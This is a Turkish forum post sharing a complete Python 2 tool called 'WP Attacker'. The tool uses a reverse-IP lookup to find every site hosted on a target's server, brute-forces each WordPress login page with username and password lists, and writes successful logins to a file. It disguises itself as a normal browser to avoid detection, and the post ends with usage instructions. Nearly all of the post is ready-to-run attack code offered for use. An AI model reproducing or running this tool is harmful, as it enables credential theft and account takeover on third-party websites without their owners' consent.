WP Attacker [Python] (1 Viewer)

Joined
Dec 9, 2017
Credits
4
Rating - 0%
Bu aracımız, bir web sunucuda barınan wordpress siteleri tespit edip onlar üzerinde zayıf parola tespiti yapmaktadır.

Saldırı Senaryosu:

Hedef sitenin barındığı sunucudaki tüm siteleri bulmak, daha sonra bu siteler içerisinden wordpress olduğunu tespit ettiğimiz sitelere user.txt ve pass.txt dosyalarında bulunan değerler ile deneme yanılma (brute force) saldırısını gerçekleştirmek. Bulunan parolaları da çıktı olarak kayıt etmek.

Algoritma:

  1. Başla
  2. Sunucudaki tüm siteleri bul (reverse ip)
  3. Brute force yap
  4. Bulunan parolayı kayıt et
  5. Bitti

Kod Paylaşımı:

Projeyi modül modül kodladık. bruteforce.py dosyamız:

Code:
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-

import mechanize #kütüphanemizi import ettik

class Tarayici(object): # sınıfınız
    def __init__(self): # __init__
        self.br = mechanize.Browser() # mechanize kütüphanesi içerisindeki Browser sınıfını örnekledik
        self.br.set_handle_robots(False) # bot olduğumuzu kolay yoldan anlamamaları için
        self.br.addheaders = [("User-agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"),
        ("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
        ("Content-type","application/x-www-form-urlencoded; charset=UTF-8")] # tarayıcımıza header ekledik
        self.red = "\033[31m" # kırmızı
        self.white = "\033[97m" # beyaz
        self.reset = "\033[0m" # resetleme
        self.bold = "\033[1m" # koyu yazma
        self.underline = "\033[4m" # altyazılı yazma
        ## dosya işlemleri
        self.dosya = open("user.txt","r") #user.txt okumak için açtık
        self.userid = [] #boş dizi
        self.userid = self.dosya.read().split("\n") #parçaladık ve atadık dizimize değerleri
        self.userid.remove("") # son satırda oluşan boş değerini diziden temizledik
        self.dosya.close() # dosyamızı kapattık
        ######################
        self.passid = []
        self.dosya = open("pass.txt","r")
        self.passid = self.dosya.read().split("\n")
        self.passid.remove("")
        self.dosya.close()
    def attackWordpress (self,link,log,pwd): #fonksiyonumuz
        self.site = "http://www."+link+"/wp-login.php" # linki düzenledik
        self.br.open(self.site) # linki açtık
        self.first_title = self.br.title() # gidilen linkin başlığını aldık
        self.br.select_form(nr=0) # ilk formu seçtik
        self.br["log"] = log #username
        self.br["pwd"] = pwd #password
        self.br.submit() # gönderdik
        if self.first_title == self.br.title():# post sonrası açılan sayfanın başlığı ile ilk başlığı karşılaştırdık
            print self.bold+self.red+"[!] FALSE >> "+log+" : "+pwd+" ---> "+link+self.reset
            return 0
        else:
            print self.bold+self.white+"[+] TRUE >> "+log+" : "+pwd+" --->"+link+self.reset
            return 1
    def run(self,link,output): # fonksiyon
        self.dosya = open(output,"a+") #output dosyasını açıyoruz
        try:
            for username in self.userid: # user.txt deki kullanıcı adları
                for userpass in self.passid: # pass.txt deki parolalar
                    x = self.attackWordpress(link,username,userpass)
                    if x == 1:
                        self.dosya.write("[+] "+link+" >> "+username+" : "+userpass)
        except Exception,e:
            print e
            print self.underline+"[?] Pass > "+self.site+self.reset
        self.dosya.close() # output dosyasını kapa

Şimdi lookupip.py modülümüzde sıra:


Code:
#!/usr/bin/env python
#! -*- coding: utf-8 -*-
 
import urllib,urllib2,json
 
class ReverseIpLookup(object):
 
    def __init__(self):
        self.useragent = "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0" #header için
        self.contenttype = "application/x-www-form-urlencoded; charset=UTF-8" # header için
        self.link = "http://domains.yougetsignal.com/domains.php" # post isteğini yapacağım link
        self.key = "" # gönderilen boş bir değer
 
    def gonder(self,target): # fonksiyonumuz
        if target.startswith("http",0,4): # eğer gelen değerin ilk 4 karakteri http ise
            return -1 # return -1
        self.hedef = target # gelen hedef
        self.values = [("remoteAddress",self.hedef),("key",self.key)] # list
        data = urllib.urlencode(self.values) # html olarak encode ettik
        req = urllib2.Request(self.link, data) # request isteğimiz
        req.add_header("Content-type", self.contenttype) # header eklendi
        req.add_header("User-agent", self.useragent) # header eklendi
        response = urllib2.urlopen(req) # isteğimizi yapıyoruz
        veri = json.loads(response.read()) # dönen değeri okuduk ve json'a ekledik
        if veri["status"] == "Fail": # status fail ?
            return -2 # return -2
        return veri["domainArray"] # domainArray döndür

Ana scriptimize geldi sıra. Üstteki modülleri modül olarak aktardığımız scriptimiz wpattacker.py :


Code:
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys,os,time
sys.path.append("./source/") # çalışma dizini için yol ekledik
import lookupip as lk #lookupip.py doseyamızı lk takma adı ile import ettik
import bruteforce as bf # bruteforce.py dosyamızı bf takma adı ile import ettik
if os.name == 'nt': # windows ise
    os.system('cls') # cls linuxtaki clear fonksiyonu
else: # windows değilse
    os.system('clear') # clear,, terminali temizleyen komut

class Color(object): # Color Sınıfımız

    def __init__(self): # __init__
        self.red = "\033[31m" # kırmızı
        self.white = "\033[97m" # beyaz
        self.reset = "\033[0m" # resetleme
        self.bold = "\033[1m" # koyu yazma
        self.underline = "\033[4m" # alt yazili yazma

yazi = Color() # Örnekledik...

class Help(object): # HELP sınıfımız
    def __init__(self):
        print yazi.bold+yazi.white+ "python file.py -u <link|ip adress> -w <text file>"+yazi.reset
        print yazi.underline+yazi.red+ "Example :\n" + yazi.reset
        print yazi.bold+yazi.red+ "python weak-password.py -u site.com -w ~/Desktop/cikti.txt\n"+yazi.reset
def start(link,filename): #start fonksiyonu
    lookup = lk.ReverseIpLookup() # ReverseIpLookup sınıfını örnekledik
    ret = lookup.gonder(link) # gonder fonksiyonuna link gönderdik
    if ret == -1: # dönen değer -1 mi ?
        Help() # HELP direkt olarak sınıfı çağırır __init__ çalışır.
        time.sleep(2) # 2 sn bekle
        sys.exit() # exit
    elif ret == -2: # ret -2 mi ?
        print yazi.bold+yazi.red+"[!]  Ip engeli..."+yazi.reset # uyarı
        time.sleep(2) # 2 sn bekle
        sys.exit() # exit
    for domain ,bosluk in ret: # dönen domainArray
        calistir.run(domain,filename) #bruteforce için domainleri tek tek yolluyoruz

if __name__ == '__main__': # wpattacker.py çalışıyor mu ?

    if len(sys.argv) == 5: # argüman sayısı 5 mi ?
        if sys.argv[1] == "-u" and sys.argv[3] == "-w": # argv 1 ve argv 3 kontrol
            calistir = bf.Tarayici() # bruteforce.py dosyasındaki Tarayici sınıfını örnekledik
            start(sys.argv[2],sys.argv[4]) # start fonksiyonuna argümanları gönderdik
            #print sys.argv[4]
        else:
            Help() # yardım
    else:
        Help() # yardım

Evet bütün kodlarımızı paylaştık. Python 2x ile kodladık. Daha önceki projelerimize göre artık gördüğünüz gibi daha düzenli, daha parçalı ve daha anlamlı kodlamaya çalışıyorum. Daha çok geliştirilebilir kod yazmak adına bunu yaptım. Ayrıca nesne tabanlı programlamak ruh haline de iyi gelmekte arkadaşlar, öneririm, eğlencelidir.

user.txt : wordpress sitesinde brute force attack yapmasını istediğimiz kullanıcı adlarının bulunduğu dosyamız. Sadece admin ekli dilerseniz altına başka kullanıcı adları da ekleyebilirsiniz.

pass.txt : kullanıcı adlarına denenecek olan parolalar. Yine bu kısma da alt alta olacak şekilde parola ekleyebilirsiniz.

Kullanım:

python file.py -u <link|ip adress> -w <text file>
 

Users who are viewing this thread

Top